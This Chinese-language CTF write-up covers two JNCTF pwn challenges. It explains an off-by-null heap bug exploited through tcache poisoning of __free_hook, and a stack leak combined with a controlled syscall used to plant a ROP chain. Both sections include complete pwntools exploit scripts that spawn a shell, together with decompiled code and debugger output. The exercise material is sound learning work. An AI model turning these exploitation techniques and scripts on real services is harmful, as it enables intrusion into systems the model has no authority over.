JNCTF 9th

poison

这里主要是泄露 heap 和 libc 的手法，off by null 的手法，打 tcache poison 的手法。菜单题目， glibc 2.31 ，功能如下：

1
1. Add a game
2
2. Edit a game
3
3. Delete a game
4
4. View a game
5
5. Exit

源码：

修了一个结构体，先放在这里，为什么要修结构体，因为避免阅读指针乱飞的代码

1
struct game
2
{
3
    char name[32];
4
    int size;
5
    char des[];
6
};

1.添加游戏：

在 add_game() 中有 off-by-null 漏洞存在。

1
unsigned __int64 add_game()
2
{
3
  int size; // [rsp+4h] [rbp-1Ch] BYREF
4
  int i; // [rsp+8h] [rbp-18h]
5
  int v3; // [rsp+Ch] [rbp-14h]
6
  game *buf; // [rsp+10h] [rbp-10h]
7
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]
8

9
  v5 = __readfsqword(0x28u);
10
  for ( i = 0; i <= 31 && games[i]; ++i )
11
    ;
12
  if ( i == 32 )
13
  {
14
    puts("Game list is full!");
15
  }
16
  else
17
  {
18
    printf("Description size: ");
19
    __isoc99_scanf("%d", &size);
20
    getchar();
21
    buf = (game *)malloc(size + 36LL);    //这里的36也就是0x24,修出的结构体的大小
22
    printf("Game name: ");
23
    read(0, buf, 0x20u);
24
    buf->size = size;
25
    printf("Description: ");
26
    v3 = read(0, buf->des, size);
27
    buf->des[v3] = 0;                     //这里存在 off-by-null
28
    games[i] = buf;
29
    puts("Game added!");
30
  }
31
  return __readfsqword(0x28u) ^ v5;
32
}

2.编辑游戏：

1
unsigned __int64 edit_game()
2
{
3
  unsigned int v1; // [rsp+0h] [rbp-40h] BYREF
4
  int v2; // [rsp+4h] [rbp-3Ch]
5
  game *dest; // [rsp+8h] [rbp-38h]
6
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
7
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]
8

9
  v5 = __readfsqword(0x28u);
10
  printf("Game index: ");
11
  __isoc99_scanf("%d", &v1);
12
  getchar();
13
  if ( v1 < 32 && games[v1] )
14
  {
15
    dest = (game *)games[v1];
16
    printf("New name: ");
17
    memset(s, 0, 32u);       // 把 Name 置零
18
    read(0, s, 32u);         // 读取新 Name
19
    s[strcspn(s, "\n")] = 0; // 返回 s[Name 长度-1] = 0
20
    strcpy(dest->name, s);   // 可以修改掉 size 字段的一位改成0
21
    printf("New description: ");
22
    v2 = read(0, dest->des, dest->size);
23
    dest->des[v2] = 0;
24
    puts("Game updated!");
25
  }
26
  else
27
  {
28
    puts("Invalid game index!");
29
  }
30
  return __readfsqword(0x28u) ^ v5;
31
}

3.删除游戏：

这里将指针置零了，不存在 UAF 漏洞。

1
unsigned __int64 delete_game()
2
{
3
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
4
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
5

6
  v2 = __readfsqword(0x28u);
7
  printf("Game index: ");
8
  __isoc99_scanf("%d", &v1);
9
  getchar();
10
  if ( v1 < 0x20 && games[v1] )
11
  {
12
    free((void *)games[v1]);
13
    games[v1] = 0;
14
    puts("Game deleted!");
15
  }
16
  else
17
  {
18
    puts("Invalid game index!");
19
  }
20
  return __readfsqword(0x28u) ^ v2;
21
}

4.查看游戏：

1
unsigned __int64 view_game()
2
{
3
  unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
4
  const char *v2; // [rsp+10h] [rbp-10h]
5
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
6

7
  v3 = __readfsqword(0x28u);
8
  printf("Game index: ");
9
  __isoc99_scanf("%d", &v1);
10
  getchar();
11
  if ( v1 < 0x20 && games[v1] )
12
  {
13
    v2 = (const char *)games[v1];
14
    printf("Name: %s\n", v2);
15
    printf("Description: %s\n", v2 + 36);
16
  }
17
  else
18
  {
19
    puts("Invalid game index!");
20
  }
21
  return __readfsqword(0x28u) ^ v3;
22
}

vulnerable:

在 add_game() 中存在 off-by-null 漏洞，通过对 chunk 的 size 字段进行修改 , 通过 Tcache poison 实现目标

利用：

阶段1：泄露 Heap 与 Libc 地址

当较大的 chunk 被释放后会进入 unsorted bin , unsorted bin 中不同的 chunk 会通过 fd 和 bk 指针链接，其中包含指向 main_arena 的地址和堆块自身的地址。比如:

1
add(0x500,b'A'*8,b'B'*8)    # 0
2
add(0x30,b'C'*8,b'D'*8)     # 1 # 小 chunk 防止前面的 chunk 与 Top chunk 合并
3
add(0x500,b'E'*8,b'F'*8)    # 2
4
add(0x30,b'G'*8,b'H'*8)     # 3
5
delete(0)
6
delete(2)

通过调试看到：

1
pwndbg> bins
2
...
3
unsortedbin
4
all: 0x62f98695a820 —▸ 0x62f98695a290 —▸ 0x7d90e327fbe0 (main_arena+96) ◂— 0x62f98695a820
5
...

再将它们申请回来可以获得 Libc 和 Heap 地址。

阶段2：构造 Fake Chunk (绕过 Safe Unlink)

泄露之后自然地想到继续申请几个 chunk ，使用 off-by-null 来覆盖下一个 chunk 的 size 字段制造堆块重叠, 先绕过 glibc 2.31 的安全检查机制，要在想修改 size 位的 chunk 前伪造一个 fake chunk 。所以需要：在 Chunk 4 中伪造一个 prev_size 和一套假指针（fd 和 bk 指向伪造位置）。利用 add_game 的 off-by-null 将 Chunk 5 的 size 位（原本是 0x501）最低字节改为 00，并清空其 PREV_INUSE 标志。同时在 Chunk 5 的 prev_size 处填入指向 Chunk 4 伪造起始位置的大小。

1
0x5f790d14edb0  0x0000000000000000      0x00000000000000b1
2
0x5f790d14edc0  0x00005f790d14edc0      0x00005f790d14edc0   假 fd 和 bk
3
0x5f790d14edd0  0x00005f790d14edb0      0x00005f790d14edb0   为了满足fd->bk == p
4
0x5f790d14ede0  0x6161616100000084      0x6161616161616161
5
0x5f790d14edf0  0x6161616161616161      0x6161616161616161
6
0x5f790d14ee00  0x6161616161616161      0x6161616161616161
7
0x5f790d14ee10  0x6161616161616161      0x6161616161616161
8
0x5f790d14ee20  0x6161616161616161      0x6161616161616161
9
0x5f790d14ee30  0x6161616161616161      0x6161616161616161
10
0x5f790d14ee40  0x6161616161616161      0x6161616161616161
11
0x5f790d14ee50  0x6161616161616161      0x6161616161616161
12
0x5f790d14ee60  0x00000000000000b0      0x0000000000000500   已经被改掉
13
0x5f790d14ee70  0x0000000000313035      0x0000000000000000   prev_size上一行b0

阶段3：制造堆块重叠 Overlap

执行 delete(5)。系统检查到 PREV_INUSE 为 0，会根据 prev_size 寻找上一个空闲块。系统找到 Chunk 4 所在位置并完成合并。此时，Unsorted Bin 中出现了一个覆盖了原有 Chunk 4 和 Chunk 5 范围的巨大空闲块。后果：chunk 4 的指针仍然存在，且指向了现在处于空闲状态的内存内部。实现了类似 UAF 的效果。

阶段4：Tcache Poisoning

从小切割刚才合并的大块（add(0x20)），拿到 chunk 5。此时 chunk 4 和 chunk 5 实际上指向同一块或极其接近的内存。释放 chunk 6 和 chunk 5 进入 Tcache。通过 edit(4) 修改 chunk 5 原本在 Tcache 中的 next 指针，将其指向 __free_hook。

编辑4实际上是改 chunk_5 的 next

1
edit(4,p64(free_hook),b'aaaa')

可以看到确实改成功了：

1
pwndbg> bins
2
tcachebins
3
0x50 [  2]: 0x56d8f88bedc0 —▸ 0x73d7a321fe48 (__free_hook) ◂— 0

阶段5：Getshell

连续申请两次 0x20 的 chunk。第二次申请将直接返回 __free_hook 的地址。在 __free_hook 处写入 system 函数地址。将某个 chunk 的开头写为 /bin/sh\x00 并对其执行 delete 操作。触发 free("/bin/sh") -> system("/bin/sh")，成功获取 Shell。

1
from pwn import *
2
context(arch = 'amd64',log_level = 'debug',terminal=['tmux', 'new-window'])
3

4
libc = ELF("./libc-2.31.so")
5
elf = ELF("./pwn")
6

7
p = process("./pwn")
8
def add(size, name,des):
9
    p.sendlineafter("> ", "1")
10
    p.sendlineafter(b"size: ", str(size))
11
    p.sendafter(b"name: ", name)
12
    p.sendafter(b'Description: ',des)
13

14
def edit(index,name,des):
15
    p.sendlineafter("> ", "2")
16
    p.sendlineafter("index: ", str(index))
17
    p.sendafter(b"name: ", name)
18
    p.sendafter(b'description: ',des)
19

20
def view(index):
21
    p.sendlineafter("> ", "4")
22
    p.sendlineafter("index:", str(index))
23

24
def delete(index):
25
    p.sendlineafter("> ", "3")
26
    p.sendlineafter("index:", str(index))
27

28
add(0x500,b'A'*8,b'B'*8)    # 0
29
add(0x30,b'C'*8,b'D'*8)     # 1
30
add(0x500,b'E'*8,b'F'*8)    # 2
31
add(0x30,b'G'*8,b'H'*8)     # 3
32

33
delete(0)
34
delete(2)
35

36
add(0x500,b'A'*8,b'B'*8)        # 0
37
view(0)
38

39
p.recvuntil(b'Name: AAAAAAAA')
40
heap = u64(p.recv(6).ljust(8, b'\x00')) -0x820
41
success(f"heap: {hex(heap)}")
42

43
add(0x500,b'E'*8,b'F'*8)        # 2
44
view(2)
45
p.recvuntil(b'E'*8)
46
libc_base = u64(p.recv(6).ljust(8, b'\x00'))  -0x1ecbe0
47
success(f"libc: {hex(libc_base)}")
48

49
free_hook = libc_base + libc.sym['__free_hook']
50
system = libc_base + libc.sym['system']
51

52
add(0x84,b'84',b'84')           # 4 0x84 -> 0xb0
53
add(0x500-0x30,b'501',b'501')   # 5 0x500-0x30 -> 0x500
54
add(0x20,b'20',b'20')           # 6
55

56
delete(4)                       #
57
add(0x84,p64(heap+0xdb0+0x10)*2+p64(heap+0xdb0)*2,b'a'*(0x84-8)+p64(0xb0))
58
# gdb.attach(p,'brva 0x1819')
59
delete(5)
60
add(0x20,b'20',b'20')           # 5
61
delete(6)
62
delete(5)
63
edit(4,p64(free_hook),b'aaaa')
64

65
add(0x20,b'/bin/sh\x00',b'/bin/sh\x00')     # 5
66
add(0x20,p64(system),b'114514')             # 6
67
delete(5)
68

69
p.interactive()

OverLib

main里只调用了两个函数，还是在 libfunc.so 里的，于是直接逆向 libfunc.so

game 函数是程序的主体：

1
unsigned __int64 game()
2
{
3
  int v1; // [rsp+Ch] [rbp-124h] BYREF
4
  unsigned int v2; // [rsp+10h] [rbp-120h] BYREF
5
  int i; // [rsp+14h] [rbp-11Ch]
6
  _QWORD v4[34]; // [rsp+18h] [rbp-118h] BYREF
7
  unsigned __int64 v5; // [rsp+128h] [rbp-8h]
8

9
  v5 = __readfsqword(0x28u);
10
  puts("Welcome to the challenge!");
11
  for ( i = 0; i <= 31; ++i )
12
  {
13
    printf("plz input the %dth cup of coin's number:", i + 1);
14
    __isoc99_scanf("%llu", &v4[i + 1]);
15
  }
16
  while ( 1 )
17
  {
18
    menu();
19
    printf("plz input your choice:");
20
    __isoc99_scanf("%d", &v1);
21
    if ( v1 == 3 )
22
      break;
23
    if ( v1 > 3 )
24
      goto LABEL_17;
25
    if ( v1 == 1 )
26
    {
27
      get_gift();
28
    }
29
    else if ( v1 == 2 )
30
    {
31
      puts("Tossing coin...");
32
      printf("plz input the cup index you want to toss (1-32):");
33
      __isoc99_scanf("%u", &v2);
34
      if ( v2 && v2 <= 0x20 )
35
      {
36
        printf("Please enter the number of coins to toss from cup %u: ", v2);
37
        __isoc99_scanf("%llu", v4);
38
        if ( v4[v2] >= v4[0] )
39
        {
40
          v4[v2] -= v4[0];
41
          puts("Coin tossed successfully!");
42
        }
43
        else
44
        {
45
          puts("Not enough coins to toss! Please try again.");
46
        }
47
      }
48
      else
49
      {
50
        puts("Invalid index! Please try again.");
51
      }
52
    }
53
    else
54
    {
55
LABEL_17:
56
      puts("Invalid choice! Please try again.");
57
    }
58
  }
59
  puts("Exiting... Goodbye!");
60
  return v5 - __readfsqword(0x28u);
61
}

发现是 game() 通过 scanf() 读取了 32 个 int 数据，当输入 + 时，由于不匹配而不会读取，也就不会覆盖掉栈上原来的数据；投硬币游戏可以泄露出这些原本在栈上的数据，比如libc

还有 get_gift() 和 gift

1
int get_gift()
2
{
3
  _DWORD *v0; // rax
4

5
  if ( flag )
6
  {
7
    LODWORD(v0) = puts("You have already got your gift!");
8
  }
9
  else
10
  {
11
    gift();
12
    v0 = &flag;
13
    flag = 1;
14
  }
15
  return (int)v0;
16
}

1
unsigned __int64 gift()
2
{
3
  __int64 v1; // [rsp+0h] [rbp-30h]
4
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]
5

6
  v2 = __readfsqword(0x28u);
7
  puts("Here's a gift for you:");
8
  printf("plz input the nr:");
9
  __isoc99_scanf("%llu");
10
  printf("plz input the arg1:");
11
  __isoc99_scanf("%llu");
12
  printf("plz input the arg2:");
13
  __isoc99_scanf("%llu");
14
  printf("plz input the arg3:");
15
  __isoc99_scanf("%llu");
16
  __asm { syscall; LINUX - }
17
  printf("ret=%ld\n", v1);
18
  return v2 - __readfsqword(0x28u);
19
}

gift() 中给了一个参数完全由我们掌控的系统调用我们非常喜欢的方式是直接 execve("/bin/sh") , 但是这里的话第二个参数似乎有些问题，于是想到 syscall 0 读取一个 rop 链到 RBP 的位置，这样程序退出时就会触发这个 rop 链了，rbp 的位置可以通过泄露栈地址获得。

1
from pwn import *
2
context(arch='amd64', os='linux', log_level='debug',terminal = ['tmux', 'new-window'])
3

4
p = process('./pwn')
5
libc = ELF('./libc.so.6')
6

7
def cups():
8
    for i in range(32):
9
        p.recvuntil(b"number:")
10
        p.sendline(b'+')
11

12
def tos(idx):
13
    n = 2 << 63
14
    ans = 0
15
    for i in range(64):
16
        p.recvuntil(b'plz input your choice:')
17
        p.sendline(b'2')
18
        p.recvuntil("plz input the cup index you want to toss (1-32):")
19
        p.sendline(str(idx).encode())
20
        p.recvuntil(b'Please enter the number of coins to toss from cup ')
21
        p.recvuntil(b': ')
22
        p.sendline(str(n).encode())
23
        info = p.recvline()
24
        print(info)
25
        if b'successfully!' in info:
26
            ans+= n
27
        n >>=1
28
    return ans
29

30
def gift(nr, a1, a2, a3):
31
    p.recvuntil(b"choice:")
32
    p.sendline(b"1")
33
    p.recvuntil(b"nr:")
34
    p.sendline(str(nr).encode())
35
    p.recvuntil(b"arg1:")
36
    p.sendline(str(a1).encode())
37
    p.recvuntil(b"arg2:")
38
    p.sendline(str(a2).encode())
39
    p.recvuntil(b"arg3:")
40
    p.sendline(str(a3).encode())
41

42

43
cups()
44
stack_leak = tos(28)
45
success(hex(stack_leak))
46
libc_base = tos(26) -0x80faa
47
success(hex(libc_base))
48
rbp1 = stack_leak - 0xdc8 + 0x978
49
success(hex(rbp1))
50

51
gift(0,0,rbp1,256)
52

53
pop_rdi = libc_base + 0x2a3e5
54
system  = libc_base + libc.sym['system']
55
bin_sh  = libc_base + next(libc.search(b'/bin/sh'))
56
ret = libc_base+0x29139
57
payload = p64(pop_rdi) + p64(bin_sh) + p64(ret)+p64(system)
58
p.sendline(payload)
59
#gdb.attach(p)
60

61
p.recvuntil(b"choice:")
62
p.sendline(b"3")
63

64
p.interactive()